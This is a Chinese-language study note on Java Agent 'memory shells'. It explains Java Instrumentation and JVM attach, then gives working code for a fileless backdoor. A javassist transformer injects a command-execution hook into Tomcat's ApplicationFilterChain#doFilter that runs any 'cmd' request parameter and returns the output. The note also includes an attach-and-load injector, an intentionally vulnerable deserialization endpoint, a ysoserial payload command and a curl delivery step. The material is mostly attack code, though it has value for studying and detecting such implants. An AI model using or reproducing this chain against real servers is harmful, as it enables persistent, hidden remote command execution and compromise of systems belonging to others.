内存马类型一共有四种:Filter型、Servlet型、Listener型以及Agent型

类似冰蝎,哥斯拉工具的内存马注入都是基于agent的。

前置知识

java Instrumentation指的是可以用独立于应用程序之外的代理(agent)程序来监测和协助运行在JVM上的应用程序。这种监测和协助包括但不限于获取JVM运行时状态,替换和修改类定义等。简单一句话概括下:Java Instrumentation可以在JVM启动后,动态修改已加载或者未加载的类,包括类的属性、方法。

Java Agent 简介

在 jdk 1.5 之后引入了 java.lang.instrument 包,该包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,通过 java.lang.instrument 实现的工具我们称之为 Java Agent ,Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法

Agent 内存马的实现就是利用了这一特性使其动态修改特定类的特定方法,将我们的恶意方法添加进去

说白了 Java Agent 只是一个 Java 类而已,只不过普通的 Java 类是以 main 函数作为入口点的,Java Agent 的入口点则是 premain 和 agentmain

Java Agent 支持两种方式进行加载:

  1. 实现 premain 方法,在启动时进行加载 (该特性在 jdk 1.5 之后才有)
  2. 实现 agentmain 方法,在启动后进行加载 (该特性在 jdk 1.6 之后才有)

Demo

premain

首先创建一个类DemoTest

  1. import java.lang.instrument.Instrumentation;
  2. public class DemoTest {
  3. public static void premain(String agentArgs, Instrumentation inst) throws Exception{
  4. System.out.println(agentArgs);
  5. for(int i=0;i<5;i++){
  6. System.out.println("premain method is invoked!");
  7. }
  8. }
  9. }

然后写一个mf文件

  1. Manifest-Version: 1.0
  2. Premain-Class: DemoTest

然后将文件编译成class再打包,IDEA打包可以,直接命令打包也可也,生成agent.jar

  1. jar cvfm agent.jar agent.mf DemoTest.class

然后创建测试类demo

  1. public class Hello {
  2. public static void main(String[] args) {
  3. System.out.println("Hello,Java");
  4. }
  5. }

Hello.mf

  1. Manifest-Version: 1.0
  2. Main-Class: Hello

然后同样方法打包。

到最后得到hello.jar 和agent.jar

Java内存马学习笔记-Agent - 图1

这时可以看到premain中的代码被执行了,还获取到了agentArgs参数

然而这种方法存在一定的局限性——只能在启动时使用-javaagent参数指定。在实际环境中,目标的JVM通常都是已经启动的状态,无法预先加载premain。相比之下,agentmain更加实用。

动态修改字节码

在实现 premain 的时候,我们除了能获取到 agentArgs 参数,还可以获取 Instrumentation 实例,那么 Instrumentation 实例是什么

先放几个函数和类的定义方便查询。

Instrumentation

Instrumentation 是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果

在 Instrumentation 中增加了名叫 transformer 的 Class 文件转换器,转换器可以改变二进制流的数据

  1. public interface Instrumentation {
  2. // 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
  3. void addTransformer(ClassFileTransformer transformer);
  4. // 删除一个类转换器
  5. boolean removeTransformer(ClassFileTransformer transformer);
  6. // 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
  7. void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
  8. // 判断目标类是否能够修改。
  9. boolean isModifiableClass(Class<?> theClass);
  10. // 获取目标已经加载的类。
  11. @SuppressWarnings("rawtypes")
  12. Class[] getAllLoadedClasses();
  13. ......
  14. }

这个接口提供了addTransformer,getAllLoadedClasses,retransformClasses 等方法

addTransformer

addTransfromer方法来用于注册Transformer,所以我们可以通过编写ClassFileTransformer接口实现类来注册我们自己的转换器

  1. void
  2. addTransformer(ClassFileTransformer transformer);

getAllLoadedClasses

getAllLoadedClasses 方法能列出所有已加载的 Class,我们可以通过遍历 Class 数组来寻找我们需要重定义的 class

retransformClasses

retransformClasses 方法能对已加载的 class 进行重新定义,也就是说如果我们的目标类已经被加载的话,我们可以调用该函数,来重新触发这个Transformer的拦截,以此达到对已加载的类进行字节码修改的效果

demo

我们先来个demo测试一下。

Agent.java

  1. package Test;
  2. import java.lang.instrument.Instrumentation;
  3. public class Agent {
  4. public static void premain(String agentArgs, Instrumentation inst) {
  5. System.out.println("agentArgs : " + agentArgs);
  6. // 注册 DefineTransformer
  7. inst.addTransformer(new DefineTransformer(), true);
  8. }
  9. }

DefineTransformer.java

  1. package Test;
  2. import java.lang.instrument.ClassFileTransformer;
  3. import java.lang.instrument.IllegalClassFormatException;
  4. import java.security.ProtectionDomain;
  5. public class DefineTransformer implements ClassFileTransformer {
  6. @Override
  7. public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
  8. // 每当类被加载,就会调用 transform 函数
  9. System.out.println("premain load Class:" + className);
  10. return new byte[0];
  11. }
  12. }

然后配置打包文件src\META-INF\MANIFEST.MF

  1. Manifest-Version: 1.0
  2. Can-Redefine-Classes: true
  3. Can-Retransform-Classes: true
  4. Premain-Class: org.chabug.Agent

注意:如果需要修改已经被JVM加载过的类的字节码,那么还需要设置在 MANIFEST.MF 中添加 Can-Retransform-Classes: true 或 Can-Redefine-Classes: true

  1. Can-Retransform-Classes 是否支持类的重新替换
  2. Can-Redefine-Classes 是否支持类的重新定义

如果没有在之后执行的时候会报错

Java内存马学习笔记-Agent - 图2

选择我们刚才的配置文件。

Java内存马学习笔记-Agent - 图3

添加模块输出,选择当前模块。

然后打包一下

Java内存马学习笔记-Agent - 图4构建好后就会输出agent.jar

然后再我们刚才创建的Main.java那里设置VM参数

-javaagent:out\artifacts\agent\agent.jar

Java内存马学习笔记-Agent - 图5

运行结果

Java内存马学习笔记-Agent - 图6

可以看到agent的org.chabug.Agent#premain优于Main方法而先被运行,并且在org.chabug.DefineTransformer#transform获取到了JVM加载的类。

那么思路回到内存shell的思路中,如果我们把这个agent加载到jvm中,那么就可以通过javassist进行字节码插桩,修改tomcat的filter实现类,从而实现内存马。

启动后利用VirtualMachine加载agent

tomcat运行前我们无法控制命令行参数,但是运行时JVM提供了com.sun.tools.attach.VirtualMachine的api,可以通过这个类attach jvm,然后通过loadAgent()函数把agent加载进去。

简单看一下这个包中的内容

Java内存马学习笔记-Agent - 图7

VirtualMachine

VirtualMachine 可以来实现获取系统信息,内存dump、现成dump、类信息统计(例如JVM加载的类)。里面配备有几个方法LoadAgent,Attach 和 Detach 。下面来看看这几个方法的作用

Attach :该类允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上

  1. VirtualMachine vm = VirtualMachine.attach(v.id());

loadAgent:向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理。

Detach:从 JVM 上面解除一个代理(agent)

VirtualMachineDescriptor

VirtualMachineDescriptor 是一个描述虚拟机的容器类,配合 VirtualMachine 类完成各种功能。

所以最后我们的注入流程大致如下:

通过 VirtualMachine 类的 attach(pid) 方法,可以 attach 到一个运行中的 java 进程上,之后便可以通过 loadAgent(agentJarPath) 来将agent 的 jar 包注入到对应的进程,然后对应的进程会调用agentmain方法。

ps:在windows中,jdk无法直接找到VirtualMachine 类,所以我们需要把tools.jar加入到库中。

接下来编写一个Demo

  1. import com.sun.tools.attach.VirtualMachine;
  2. import com.sun.tools.attach.VirtualMachineDescriptor;
  3. import java.util.List;
  4. public class AgentMainDemo {
  5. public static void main(String[] args) throws Exception{
  6. String path = "agent.jar的路径";
  7. List<VirtualMachineDescriptor> list = VirtualMachine.list();
  8. for (VirtualMachineDescriptor v:list){
  9. System.out.println(v.displayName());
  10. if (v.displayName().contains("AgentMainDemo")){
  11. // 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接
  12. VirtualMachine vm = VirtualMachine.attach(v.id());
  13. // 将我们的 agent.jar 发送给虚拟机
  14. vm.loadAgent(path);
  15. vm.detach();
  16. }
  17. }
  18. }
  19. }

然后我们编写 AgentMain.java

  1. import java.lang.instrument.Instrumentation;
  2. public class AgentMain {
  3. public static void agentmain(String agentArgs, Instrumentation ins) {
  4. ins.addTransformer(new DefineTransformer(),true);
  5. }
  6. }

编写 DefineTransformer.java

  1. import java.lang.instrument.ClassFileTransformer;
  2. import java.lang.instrument.IllegalClassFormatException;
  3. import java.security.ProtectionDomain;
  4. public class DefineTransformer implements ClassFileTransformer {
  5. public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
  6. System.out.println(className);
  7. return classfileBuffer;
  8. }
  9. }

Java内存马学习笔记-Agent - 图8

打包jar

运行

Java内存马学习笔记-Agent - 图9

成功调用了VirtualMachine.jar,输出了加载的类名

不过由于 tools.jar 并不会在 JVM 启动的时候默认加载,所以这里利用 URLClassloader 来加载我们的 tools.jar

  1. package VirtualMachine;
  2. public class TestAgentMain {
  3. public static void main(String[] args) {
  4. try{
  5. java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
  6. System.out.println(toolsPath.toURI().toURL());
  7. java.net.URL url = toolsPath.toURI().toURL();
  8. java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
  9. Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
  10. Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
  11. java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
  12. java.util.List<Object> list = (java.util.List<Object>) listMethod.invoke(MyVirtualMachine,null);
  13. System.out.println("Running JVM Start..");
  14. for(int i=0;i<list.size();i++){
  15. Object o = list.get(i);
  16. java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
  17. String name = (String) displayName.invoke(o,null);
  18. System.out.println(name);
  19. if (name.contains("TestAgentMain")){
  20. java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
  21. java.lang.String id = (java.lang.String) getId.invoke(o,null);
  22. System.out.println("id >>> " + id);
  23. java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
  24. java.lang.Object vm = attach.invoke(o,new Object[]{id});
  25. java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
  26. java.lang.String path = "D:\\Java\\Java内存马\\agent\\out\\artifacts\\VirtualMachine\\VirtualMachine.jar";
  27. loadAgent.invoke(vm,new Object[]{path});
  28. java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
  29. detach.invoke(vm,null);
  30. break;
  31. }
  32. }
  33. } catch (Exception e){
  34. e.printStackTrace();
  35. }
  36. }
  37. }

Java内存马学习笔记-Agent - 图10

实现内存马注入

寻找关键类

tomcat filter之前我们在Filter中分析过,主要的类是

org.apache.catalina.core.ApplicationFilterChain#doFilter

用户的请求在到达Servlet之前会经过Filter,以此来对我们的请求进行过滤。

Java内存马学习笔记-Agent - 图11

这个方法就会调用我们自定义的filter方法。

该方法有ServletRequest和ServletResponse两个参数,里面封装了请求的request和response。另外,internalDoFilter方法是自定义filter的入口,如果在这里拦截,那么filter既通用,又不影响正常业务。

环境搭建

本次环境采用springboot

  1. package com.example.demo.controller;
  2. import org.springframework.stereotype.Controller;
  3. import org.springframework.web.bind.annotation.RequestMapping;
  4. import org.springframework.web.bind.annotation.ResponseBody;
  5. import javax.servlet.http.HttpServletRequest;
  6. import javax.servlet.http.HttpServletResponse;
  7. import java.io.ObjectInputStream;
  8. @Controller
  9. public class CommonsCollectionsVuln {
  10. @ResponseBody
  11. @RequestMapping("/cc11")
  12. public String cc11Vuln(HttpServletRequest request, HttpServletResponse response) throws Exception {
  13. java.io.InputStream inputStream = request.getInputStream();
  14. ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
  15. objectInputStream.readObject();
  16. return "Hello,World";
  17. }
  18. @ResponseBody
  19. @RequestMapping("/demo")
  20. public String demo(HttpServletRequest request, HttpServletResponse response) throws Exception{
  21. return "This is OK Demo!";
  22. }
  23. }

首先简单弄一个反序列化点,打上依赖

  1. <dependency>
  2. <groupId>commons-collections</groupId>
  3. <artifactId>commons-collections</artifactId>
  4. <version>3.2.1</version>
  5. </dependency>

这样反序列化环境就搭建完成了

反序列化注入

AgentMain.java

  1. import java.lang.instrument.Instrumentation;
  2. public class AgentMain {
  3. public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
  4. public static void agentmain(String agentArgs, Instrumentation ins) {
  5. ins.addTransformer(new DefineTransformer(),true);
  6. // 获取所有已加载的类
  7. Class[] classes = ins.getAllLoadedClasses();
  8. for (Class clas:classes){
  9. if (clas.getName().equals(ClassName)){
  10. try{
  11. // 对类进行重新定义
  12. ins.retransformClasses(new Class[]{clas});
  13. } catch (Exception e){
  14. e.printStackTrace();
  15. }
  16. }
  17. }
  18. }
  19. }

DefineTransformer.java

  1. package memShell;
  2. import javassist.*;
  3. import java.lang.instrument.ClassFileTransformer;
  4. import java.security.ProtectionDomain;
  5. public class DefineTransformer implements ClassFileTransformer {
  6. public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
  7. public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
  8. className = className.replace("/",".");
  9. if (className.equals(ClassName)){
  10. System.out.println("Find the Inject Class: " + ClassName);
  11. ClassPool pool = ClassPool.getDefault();
  12. try {
  13. CtClass c = pool.getCtClass(className);
  14. CtMethod m = c.getDeclaredMethod("doFilter");
  15. m.insertBefore("javax.servlet.http.HttpServletRequest req = request;\n" +
  16. "javax.servlet.http.HttpServletResponse res = response;\n" +
  17. "java.lang.String cmd = request.getParameter(\"cmd\");\n" +
  18. "if (cmd != null){\n" +
  19. " try {\n" +
  20. " java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
  21. " java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
  22. " String line;\n" +
  23. " StringBuilder sb = new StringBuilder(\"\");\n" +
  24. " while ((line=reader.readLine()) != null){\n" +
  25. " sb.append(line).append(\"\\n\");\n" +
  26. " }\n" +
  27. " response.getOutputStream().print(sb.toString());\n" +
  28. " response.getOutputStream().flush();\n" +
  29. " response.getOutputStream().close();\n" +
  30. " } catch (Exception e){\n" +
  31. " e.printStackTrace();\n" +
  32. " }\n" +
  33. "}");
  34. byte[] bytes = c.toBytecode();
  35. // 将 c 从 classpool 中删除以释放内存
  36. c.detach();
  37. return bytes;
  38. } catch (Exception e){
  39. e.printStackTrace();
  40. }
  41. }
  42. return new byte[0];
  43. }
  44. }

然后打包一下,注意要把依赖打包进去

打包项目参考:

TestAgentMain.java:

  1. try{
  2. java.lang.String path = "D:\\Java\\Java内存马\\AgentMemShell-main\\target\\AgentMain-1.0-SNAPSHOT-jar-with-dependencies.jar";
  3. java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
  4. java.net.URL url = toolsPath.toURI().toURL();
  5. java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
  6. Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
  7. Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
  8. java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
  9. java.util.List/*<Object>*/ list = (java.util.List/*<Object>*/) listMethod.invoke(MyVirtualMachine,null);
  10. System.out.println("Running JVM list ...");
  11. for(int i=0;i<list.size();i++){
  12. Object o = list.get(i);
  13. java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
  14. java.lang.String name = (java.lang.String) displayName.invoke(o,null);
  15. // 列出当前有哪些 JVM 进程在运行
  16. // 这里的 if 条件根据实际情况进行更改
  17. if (name.contains("com.example.demo.DemoApplication")){
  18. // 获取对应进程的 pid 号
  19. java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
  20. java.lang.String id = (java.lang.String) getId.invoke(o,null);
  21. System.out.println("id >>> " + id);
  22. java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
  23. java.lang.Object vm = attach.invoke(o,new Object[]{id});
  24. java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
  25. loadAgent.invoke(vm,new Object[]{path});
  26. java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
  27. detach.invoke(vm,null);
  28. System.out.println("Agent.jar Inject Success !!");
  29. break;
  30. }
  31. }
  32. } catch (Exception e){
  33. e.printStackTrace();
  34. }

效果实现

这里使用了比较好用的yso

https://github.com/woodpecker-framework/ysoserial-for-woodpecker

  1. java -jar ysoserial-for-woodpecker-0.4.4.jar -g CommonsCollections11 -a code_file:./TestAgentMain.java > cc11demo.ser

Java内存马学习笔记-Agent - 图12然后把生成的ser文件直接curl传参

  1. curl -v "http://localhost:9090/cc11" --data-binary "@./cc11demo.ser"

注入成功

Java内存马学习笔记-Agent - 图13

Java内存马学习笔记-Agent - 图14